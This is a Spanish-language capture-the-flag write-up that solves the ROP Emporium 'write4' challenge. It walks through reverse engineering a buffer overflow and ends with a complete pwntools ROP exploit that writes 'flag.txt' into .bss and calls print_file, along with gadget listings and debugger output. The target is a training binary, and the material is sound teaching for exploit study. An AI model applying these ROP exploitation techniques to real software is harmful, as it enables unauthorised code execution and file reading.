write4 - ROP Emporium
Table of Contents
Se nos proporciona un binario de 64 bits con las siguientes protecciones.
$ checksec write4 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.' Stripped: No
Tambien nos entregan su libreria compartida, esta contiene todas las funciones utilizadas por el binario.
$ ldd write4 linux-vdso.so.1 (0x00007a1412b02000) libwrite4.so => ./libwrite4.so (0x00007a1412800000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007a1412400000) /lib64/ld-linux-x86-64.so.2 (0x00007a1412b04000) $ file libwrite4.so libwrite4.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=6480d05c301d646a5677805e7226e81b35c23f7d, not stripped
Al ejecutar el binario, este solicita un valor de entrada. Si ingresamos cualquier cadena y presionamos Enter, el programa finaliza su ejecución sin mayor interacción.
$ ./write4 write4 by ROP Emporium x86_64 Go ahead and give me the input already! > test Thank you!
Ingenieria inversa
Abrimos el binario con gdb y al revisar sus funciones vemos lo siguiente.
gef➤ info functions All defined functions: Non-debugging symbols: 0x00000000004004d0 _init 0x0000000000400500 pwnme@plt 0x0000000000400510 print_file@plt 0x0000000000400520 _start 0x0000000000400550 _dl_relocate_static_pie 0x0000000000400560 deregister_tm_clones 0x0000000000400590 register_tm_clones 0x00000000004005d0 __do_global_dtors_aux 0x0000000000400600 frame_dummy 0x0000000000400607 main 0x0000000000400617 usefulFunction 0x0000000000400628 usefulGadgets 0x0000000000400630 __libc_csu_init 0x00000000004006a0 __libc_csu_fini 0x00000000004006a4 _fini
Observamos que las funciones pwnme y print_file se encuentran referenciadas en la PLT. Esto indica que ambas están implementadas en una biblioteca compartida y no en el propio binario. Abriremos esta biblioteca utilizando IDA para examinar su implementación, revisaremos la funcion pwnme
.
int pwnme()
{
_BYTE s[32]; // [rsp+0h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL);
puts("write4 by ROP Emporium");
puts("x86_64\n");
memset(s, 0, sizeof(s));
puts("Go ahead and give me the input already!\n");
printf("> ");
read(0, s, 0x200uLL);
return puts("Thank you!");
}
Define un buffer de 32 bytes (_BYTE s[32]), imprime dos mensajes mediante puts() y utiliza la función read() para leer nuestro input hasta 512 bytes (0x200). Esta discrepancia entre el tamaño del buffer y la cantidad de datos que read() puede recibir genera una vulnerabilidad de Buffer Overflow, ya que si ingresamos mas de 32 bytes se sobrescribirá la pila, incluyendo potencialmente la dirección de retorno, permitiendo así el control del flujo de ejecución. La otra funcion interesante que tiene el binario es print_file
.
int __fastcall print_file(const char *a1)
{
char s[40]; // [rsp+10h] [rbp-30h] BYREF
FILE *stream; // [rsp+38h] [rbp-8h]
stream = fopen(a1, "r");
if ( !stream )
{
printf("Failed to open file: %s\n", a1);
exit(1);
}
fgets(s, 33, stream);
puts(s);
return fclose(stream);
}
La función print_file() abre el archivo cuyo nombre se le pase como argumento. Si el archivo no existe, imprime un mensaje de error y finaliza la ejecución con exit(1). En caso contrario, lee hasta 33 bytes del archivo mediante fgets() y los imprime con puts(). Esta función es clave para la explotación, ya que permite controlar qué archivo se abre, facilitando la lectura de archivos sensibles si se manipula adecuadamente.
Estrategia de explotación
Para resolver este desafío, debemos explotar el Buffer Overflow y redirigir el flujo de ejecución hacia la función print_file() para abrir el archivo flag.txt. Sin embargo, no hay una cadena flag.txt en la sección .rodata ni en ninguna otra parte del binario que podamos utilizar directamente como argumento.
$ rabin2 -z write4 [Strings] nth paddr vaddr len size section type string ――――――――――――――――――――――――――――――――――――――――――――――――――――――― 0 0x000006b4 0x004006b4 11 12 .rodata ascii nonexistent
Dado que no contamos con la cadena flag.txt en el binario (como en los desafios mas faciles de ROP Emporium), será necesario escribirla manualmente en una región de memoria controlable, como la sección .bss, y luego pasar su dirección como argumento a print_file(). Pero antes de hacer esto, ya que estamos, me gustaria explicar algunos conceptos.
Al compilar un binario en Linux, este se transforma en un Executable and Linkable Format (ELF), el formato estándar para archivos ejecutables en sistemas UNIX. Este formato organiza el binario en distintas secciones de memoria, cada una con un propósito específico.
.
Entre estas secciones, algunas permiten escritura, como la .bss. Esta sección es utilizada para almacenar variables no inicializadas en tiempo de compilación y se encuentra vacía (solo ocupando espacio lógico) hasta que el programa se ejecuta. Su principal ventaja es que cuenta con permisos de lectura/escritura (rw), lo que la convierte en un excelente objetivo para inyectar datos controlados durante la explotación. Verifcamos esto con readelf
.
$ readelf -S write4 | grep bss -B 1 0000000000000010 0000000000000000 WA 0 0 8 [24] .bss NOBITS 0000000000601038 00001038
La estrategia consiste en explotar el Buffer Overflow para redirigir el flujo de ejecución, utilizar gadgets (obtenidos con ropper) que permitan escribir la cadena flag.txt en la .bss, y finalmente invocar la función print_file() pasándole como argumento la dirección de la .bss para que lea y muestre el contenido del archivo. Esta técnica aprovecha la capacidad de manipular regiones de memoria controlables junto con el uso preciso de gadgets ROP para lograr la ejecución controlada del flujo del programa.
Explotación
Para comenzar, necesitamos un gadget que permita extraer dos valores de la pila y cargarlos en registros, lo que facilitará la manipulación de direcciones y datos. Utilizando ropper y filtrando por pop, encontramos el gadget pop r14; pop r15; ret;, que se ajusta perfectamente a nuestros objetivos.
$ ropper --file write4 --search 'pop' [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop [INFO] File: write4 0x000000000040068c: pop r12; pop r13; pop r14; pop r15; ret; 0x000000000040068e: pop r13; pop r14; pop r15; ret; 0x0000000000400690: pop r14; pop r15; ret; 0x0000000000400692: pop r15; ret; 0x000000000040057b: pop rbp; mov edi, 0x601038; jmp rax; 0x000000000040068b: pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 0x000000000040068f: pop rbp; pop r14; pop r15; ret; 0x0000000000400588: pop rbp; ret; 0x0000000000400693: pop rdi; ret; 0x0000000000400691: pop rsi; pop r15; ret; 0x000000000040068d: pop rsp; pop r13; pop r14; pop r15; ret;
Este gadget nos permite cargar en r14 la dirección de la sección .bss (donde escribiremos la cadena flag.txt) y en r15 la propia cadena flag.txt. Ahora que podemos posicionar estos valores en registros, el siguiente paso es encontrar un gadget que realice la operación de mover (mov) el contenido de r15 hacia la dirección almacenada en r14, completando así el proceso de escritura en memoria.
Una vez que la cadena flag.txt esté correctamente almacenada en la sección .bss, el siguiente paso es preparar el argumento para la función print_file, que se encargará de abrir y leer el contenido de la flag.
Para ello, necesitamos un gadget que cargue un valor en el registro rdi, ya que este es el primer argumento en las convenciones de llamada en sistemas Linux de 64 bits (x86_64 ABI). Utilizando ropper y filtrando por pop rdi, encontramos el siguiente gadget.
$ ropper --file write4 --search 'pop rdi' [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi [INFO] File: write4 0x0000000000400693: pop rdi; ret;
Finalmente, para construir el exploit completo, solo nos falta calcular el offset, que es la distancia entre el inicio de nuestro input y la dirección que controla el flujo de ejecución. Este valor se calculará utilizando gdb, permitiéndonos determinar con precisión en qué posición debemos insertar nuestros gadgets y direcciones.
gef➤ pattern create 250 [+] Generating a pattern of 250 bytes (n=8) aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabga [+] Saved as '$_gef0' gef➤ Quit gef➤ r Starting program: /home/abund4nt/pwn/ROP Emporium/write4/write4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". write4 by ROP Emporium x86_64 Go ahead and give me the input already! > aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabga Thank you! Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7c00942 in pwnme () from ./libwrite4.so [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0xb $rbx : 0x00007fffffffde68 → 0x00007fffffffe1d8 → "/home/abund4nt/pwn/ROP Emporium/write4/write4" $rcx : 0x00007ffff791c574 → 0x5477fffff0003d48 ("H="?) $rdx : 0x0 $rsp : 0x00007fffffffdd38 → "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]" $rbp : 0x6161616161616165 ("eaaaaaaa"?) $rsi : 0x00007ffff7a04643 → 0xa05710000000000a ("\n"?) $rdi : 0x00007ffff7a05710 → 0x0000000000000000 $rip : 0x00007ffff7c00942 → <pwnme+0098> ret $r8 : 0xa $r9 : 0x00007ffff7fca380 → <_dl_fini+0000> endbr64 $r10 : 0x00007ffff78109d8 → 0x0011001200001bd3 $r11 : 0x202 $r12 : 0x1 $r13 : 0x0 $r14 : 0x0 $r15 : 0x00007ffff7ffd000 → 0x00007ffff7ffe2e0 → 0x0000000000000000 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdd38│+0x0000: "faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaala[...]" ← $rsp 0x00007fffffffdd40│+0x0008: "gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaama[...]" 0x00007fffffffdd48│+0x0010: "haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaana[...]" 0x00007fffffffdd50│+0x0018: "iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoa[...]" 0x00007fffffffdd58│+0x0020: "jaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapa[...]" 0x00007fffffffdd60│+0x0028: "kaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqa[...]" 0x00007fffffffdd68│+0x0030: "laaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaara[...]" 0x00007fffffffdd70│+0x0038: "maaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasa[...]" ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7ffff7c0093b <pwnme+0091> call 0x7ffff7c00730 <puts@plt> 0x7ffff7c00940 <pwnme+0096> nop 0x7ffff7c00941 <pwnme+0097> leave → 0x7ffff7c00942 <pwnme+0098> ret [!] Cannot disassemble from $PC ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "write4", stopped 0x7ffff7c00942 in pwnme (), reason: SIGSEGV ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x7ffff7c00942 → pwnme() ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ pattern search $rsp [+] Searching for '6661616161616161'/'6161616161616166' with period=8 [+] Found at offset 40 (little-endian search) likely
Generamos una secuencia de Brujin de 250 bytes con pattern create 250, la cual fue pasada como entrada al programa para provocar un desbordamiento de buffer y un fallo por SIGSEGV. Al utilizar pattern search $rsp en GDB, buscamos el patrón en el registro rsp y encontramos que el desbordamiento ocurre a los 40 bytes, lo que indica que ese es el offset necesario para sobrescribir el valor de rsp. Con esta información, podemos proceder a ajustar el payload y explotar el desbordamiento para controlar el flujo de ejecución, como en el caso de un ataque ROP.
Exploit final.
Con este exploit resolvemos el desafio y logramos leer la flag.
from pwn import *
context.binary = ELF('./write4')
p = process()
offset = 40
junk = b'A' * offset
MOV_QWORD_PTR_R14_R15_RET = 0x0000000000400628
POP_R14_POP_R15_RET = 0x0000000000400690
bss = 0x0000000000601038
POP_RDI_RET = 0x0000000000400693
RET = 0x00000000004004e6
print_file_function = 0x0000000000400510
payload = junk
payload += p64(POP_R14_POP_R15_RET)
payload += p64(bss)
payload += b'flag.txt'
payload += p64(MOV_QWORD_PTR_R14_R15_RET)
payload += p64(POP_RDI_RET)
payload += p64(bss)
payload += p64(RET)
payload += p64(print_file_function)
p.sendline(payload)
p.interactive()
Primero, configuramos el contexto y la conexión usando la librería pwntools. Posteriormente, determinamos el offset de 40 bytes entre el inicio de nuestro input y el valor de rsp. Luego, se definen los gadgets clave para la explotación, como POP_R14_POP_R15_RET para cargar los valores en los registros y MOV_QWORD_PTR_R14_R15_RET para almacenar la cadena ‘flag.txt’ en la sección BSS.
En el payload, primero llenamos con la cantidad necesaria de basura para alcanzar el offset y sobrescribir el valor de rsp. Usamos el gadget POP_R14_POP_R15_RET para cargar la dirección de memoria de la sección BSS y la cadena ‘flag.txt’, y luego movemos estos valores con MOV_QWORD_PTR_R14_R15_RET. Después, cargamos la dirección de la sección BSS en el registro rdi usando el gadget POP_RDI_RET, seguido de un retorno con RET y finalmente invocamos la función print_file_function para imprimir el contenido del archivo ‘flag.txt’ desde la BSS.
Al ejecutar el exploit, el programa imprime la flag correctamente. El flujo completo muestra cómo, al controlar el stack mediante ROP, podemos ejecutar una función deseada para leer un archivo y obtener la flag.
$ python3 sol.py [*] '/home/abund4nt/pwn/ROP Emporium/write4/write4' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) RUNPATH: b'.' Stripped: No [+] Starting local process '/home/abund4nt/pwn/ROP Emporium/write4/write4': pid 45463 [*] Switching to interactive mode write4 by ROP Emporium x86_64 Go ahead and give me the input already! > Thank you! ROPE{a_placeholder_32byte_flag!} [*] Got EOF while reading in interactive $